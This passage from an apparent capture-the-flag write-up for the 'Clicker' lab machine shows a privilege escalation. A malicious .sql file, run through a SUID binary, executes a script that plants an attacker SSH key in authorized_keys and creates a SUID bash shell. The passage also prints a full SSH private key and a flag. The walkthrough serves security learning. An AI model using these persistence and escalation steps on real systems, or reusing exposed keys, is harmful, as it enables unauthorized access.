I did two things: wrote the authorized_keys file with my public key, and also made an SUID copy of bash so that I can open a shell as jack, in case the ssh doesnt work.

Now let's try to execute it as follows:


www-data@clicker:/opt/manage$ ./execute_query 5 ;/dev/shm/script.sh
Segmentation fault (core dumped)
/dev/shm/script.sh: line 3: /var/www/.ssh/authorized_keys: No such file or directory

weirdly, it does not seem to be injecting the way I expected.

Ah, that's why:

c
selection = access(__dest,4);
if (selection == 0) {
	<SNIP>
}
else {
	puts("File not readable or not found");
}

So it checks what we enter to make sure it's a valid file. Damn. can we fool it using a null? Nope.

We may just have to use an actual file.

I considered maybe we could leverage the seg fault, but I dont think so.

Attempting to create malicious mysql backup

We can make a .sql file in /tmp and access it using


./execute_query 5 ../../../tmp/s.sql

So, can we abuse the mysql backup feature? Maybe we can use it to execute a system command?

Yes, we can. Using the \! directive in the .sql script we can run system commands:

bash
\! touch /tmp/IWasHere

Then:


www-data@clicker:/opt/manage$ ./execute_query 5 ../../../tmp/s.sql
mysql: [Warning] Using a password on the command line interface can be insecure.

www-data@clicker:/opt/manage$ ls /tmp
IWasHere  f  s  s.sql

Hell yeah. Now maybe we can run my script. In /tmp/s.sql:

bash
\! /tmp/s 

In /tmp/s:


#!/bin/bash

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDt36b40Je0VFcjXzBxNsXPCmTMX02qWOeIm1JIGIy8r+5XLnVyKPLiMN+k+EqBgcdbho9NWVNqzsToh+nTaf2OP47IOhFNdqZjDWeQ4KZOuVWFjVEWLpfAMH14XhTC9a3PuYtZZu1XUSsSD0txREVG/jcwK/nQs0cmmdLSMhCnF0dRYqqC7sGVc7917UF31qMDvEg1TbXrk9umDH2y/LOOxpENsXu+PBxJWeqH67A3B2ChOOvJ/dzgxSJDBQEsIoGiHw0P4jBEWnlkbLp26j2b3PRrjjNq9Ve5an0WseEWScUx3AlJqXUrzXNmklJEzQ12KF0OxRgU6Z11xmngJaRsYp6RDXqaSNlH5YFSAB2xM2vaCFS5clac3ZldHPANdk90ZLjNAt0W3gz0cNJcezuRF7N49w5+hbqMFWqp7Q8zgvltRoOTTGjv7+C2emqQ/mz6poiXNCCg/kou+6gj+hoHUDs0b18Fmv6eZvddD2HpBOHItnJVxbrEUxSxawfdsI0= kali@kali" >> ~/.ssh/authorized_keys

cp /bin/bash /dev/shm/1332

chmod +s /dev/shm/1332

Then we run it:


www-data@clicker:/opt/manage$ ./execute_query 5 ../../../tmp/s.sql
mysql: [Warning] Using a password on the command line interface can be insecure.

www-data@clicker:/opt/manage$ ls -l /dev/shm/
total 1380
-rwsr-sr-x 1 jack     www-data 1396520 Nov 23 09:10 1332
-rw-r--r-- 1 www-data www-data      17 Nov 23 08:47 inject
-rwxr-xr-x 1 www-data www-data     661 Nov 23 08:15 script.sh
-rw-r--r-- 1 www-data www-data      18 Nov 23 08:31 test
-rw-r--r-- 1 www-data www-data      18 Nov 23 08:44 test2

There we go: we have the SUID shell as jack. I'd prefer to just SSH in, so let me see if the key worked:


$ ssh -i ./id_rsa jack@clicker       
The authenticity of host 'clicker (10.10.11.232)' can't be established.
ED25519 key fingerprint is SHA256:OAOlD4te1rIAd/MBDNbXq9MuDWSFoc6Jc3eaBCC5u7o.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'clicker' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-84-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Nov 23 09:12:39 AM UTC 2023

  System load:           0.0
  Usage of /:            53.3% of 5.77GB
  Memory usage:          20%
  Swap usage:            0%
  Processes:             247
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.232
  IPv6 address for eth0: dead:beef::250:56ff:feb9:a10b


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

jack@clicker:~$ 

Hell yeah.

Shell as Jack: Enum/Priv Esc

DAMN. That user flag was HARD fought:


jack@clicker:~$ ls
queries  user.txt
jack@clicker:~$ cat user.txt 
a470c2de9685f7683243cbc959e42f2e

That's officially the first live medium box I got user flag on. That was awesome.

Jack can use sudo without a password:


jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jack may run the following commands on clicker:
    (ALL : ALL) ALL
    (root) SETENV: NOPASSWD: /opt/monitor.sh

Okay. So if we had his password we could run any command, but we can run the monitor script as root without password. Let's see whats up with that.

monitor.sh:

bash
#!/bin/bash
if [ "$EUID" -ne 0 ]
  then echo "Error, please run as root"
  exit
fi

set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;

data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
    exit;
else
    timestamp=$(/usr/bin/date +%s)
    /usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi

Why does it unset the 2 PERL library variables?

And can we pass environment variables to a program?

Ill come back to this, since I dont see any obvious way to exploit it at the moment. Next Ill run linpeas

Linpeas

Scan revealed an SSH private key:


-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs4eQaWHe45iGSieDHbraAYgQdMwlMGPt50KmMUAvWgAV2zlP8/1Y
J/tSzgoR9Fko8I1UpLnHCLz2Ezsb/MrLCe8nG5TlbJrrQ4HcqnS4TKN7DZ7XW0bup3ayy1
kAAZ9Uot6ep/ekM8E+7/39VZ5fe1FwZj4iRKI+g/BVQFclsgK02B594GkOz33P/Zzte2jV
Tgmy3+htPE5My31i2lXh6XWfepiBOjG+mQDg2OySAphbO1SbMisowP1aSexKMh7Ir6IlPu
nuw3l/luyvRGDN8fyumTeIXVAdPfOqMqTOVECo7hAoY+uYWKfiHxOX4fo+/fNwdcfctBUm
pr5Nxx0GCH1wLnHsbx+/oBkPzxuzd+BcGNZp7FP8cn+dEFz2ty8Ls0Mr+XW5ofivEwr3+e                                                                                                                                       
30OgtpL6QhO2eLiZVrIXOHiPzW49emv4xhuoPF3E/5CA6akeQbbGAppTi+EBG9Lhr04c9E
2uCSLPiZqHiViArcUbbXxWMX2NPSJzDsQ4xeYqFtAAAFiO2Fee3thXntAAAAB3NzaC1yc2                                                                                                                                       
EAAAGBALOHkGlh3uOYhkongx262gGIEHTMJTBj7edCpjFAL1oAFds5T/P9WCf7Us4KEfRZ
KPCNVKS5xwi89hM7G/zKywnvJxuU5Wya60OB3Kp0uEyjew2e11tG7qd2sstZAAGfVKLenq                                                                                                                                       
f3pDPBPu/9/VWeX3tRcGY+IkSiPoPwVUBXJbICtNgefeBpDs99z/2c7Xto1U4Jst/obTxO
TMt9YtpV4el1n3qYgToxvpkA4NjskgKYWztUmzIrKMD9WknsSjIeyK+iJT7p7sN5f5bsr0
RgzfH8rpk3iF1QHT3zqjKkzlRAqO4QKGPrmFin4h8Tl+H6Pv3zcHXH3LQVJqa+TccdBgh9
cC5x7G8fv6AZD88bs3fgXBjWaexT/HJ/nRBc9rcvC7NDK/l1uaH4rxMK9/nt9DoLaS+kIT                                                                                                                                       
tni4mVayFzh4j81uPXpr+MYbqDxdxP+QgOmpHkG2xgKaU4vhARvS4a9OHPRNrgkiz4mah4
lYgK3FG218VjF9jT0icw7EOMXmKhbQAAAAMBAAEAAAGACLYPP83L7uc7vOVl609hvKlJgy                                                                                                                                       
FUvKBcrtgBEGq44XkXlmeVhZVJbcc4IV9Dt8OLxQBWlxecnMPufMhld0Kvz2+XSjNTXo21
1LS8bFj1iGJ2WhbXBErQ0bdkvZE3+twsUyrSL/xIL2q1DxgX7sucfnNZLNze9M2akvRabq                                                                                                                                       
DL53NSKxpvqS/v1AmaygePTmmrz/mQgGTayA5Uk5sl7Mo2CAn5Dw3PV2+KfAoa3uu7ufyC
kMJuNWT6uUKR2vxoLT5pEZKlg8Qmw2HHZxa6wUlpTSRMgO+R+xEQsemUFy0vCh4TyezD3i
SlyE8yMm8gdIgYJB+FP5m4eUyGTjTE4+lhXOKgEGPcw9+MK7Li05Kbgsv/ZwuLiI8UNAhc
9vgmEfs/hoiZPX6fpG+u4L82oKJuIbxF/I2Q2YBNIP9O9qVLdxUniEUCNl3BOAk/8H6usN
9pLG5kIalMYSl6lMnfethUiUrTZzATPYT1xZzQCdJ+qagLrl7O33aez3B/OAUrYmsBAAAA            
wQDB7xyKB85+On0U9Qk1jS85dNaEeSBGb7Yp4e/oQGiHquN/xBgaZzYTEO7WQtrfmZMM4s
SXT5qO0J8TBwjmkuzit3/BjrdOAs8n2Lq8J0sPcltsMnoJuZ3Svqclqi8WuttSgKPyhC4s
FQsp6ggRGCP64C8N854//KuxhTh5UXHmD7+teKGdbi9MjfDygwk+gQ33YIr2KczVgdltwW
EhA8zfl5uimjsT31lks3jwk/I8CupZGrVvXmyEzBYZBegl3W4AAADBAO19sPL8ZYYo1n2j
rghoSkgwA8kZJRy6BIyRFRUODsYBlK0ItFnriPgWSE2b3iHo7cuujCDju0yIIfF2QG87Hh
zXj1wghocEMzZ3ELIlkIDY8BtrewjC3CFyeIY3XKCY5AgzE2ygRGvEL+YFLezLqhJseV8j
3kOhQ3D6boridyK3T66YGzJsdpEvWTpbvve3FM5pIWmA5LUXyihP2F7fs2E5aDBUuLJeyi
F0YCoftLetCA/kiVtqlT0trgO8Yh+78QAAAMEAwYV0GjQs3AYNLMGccWlVFoLLPKGItynr
Xxa/j3qOBZ+HiMsXtZdpdrV26N43CmiHRue4SWG1m/Vh3zezxNymsQrp6sv96vsFjM7gAI
JJK+Ds3zu2NNNmQ82gPwc/wNM3TatS/Oe4loqHg3nDn5CEbPtgc8wkxheKARAz0SbztcJC
LsOxRu230Ti7tRBOtV153KHlE4Bu7G/d028dbQhtfMXJLu96W1l3Fr98pDxDSFnig2HMIi
lL4gSjpD/FjWk9AAAADGphY2tAY2xpY2tlcgECAwQFBg==
-----END OPENSSH PRIVATE KEY-----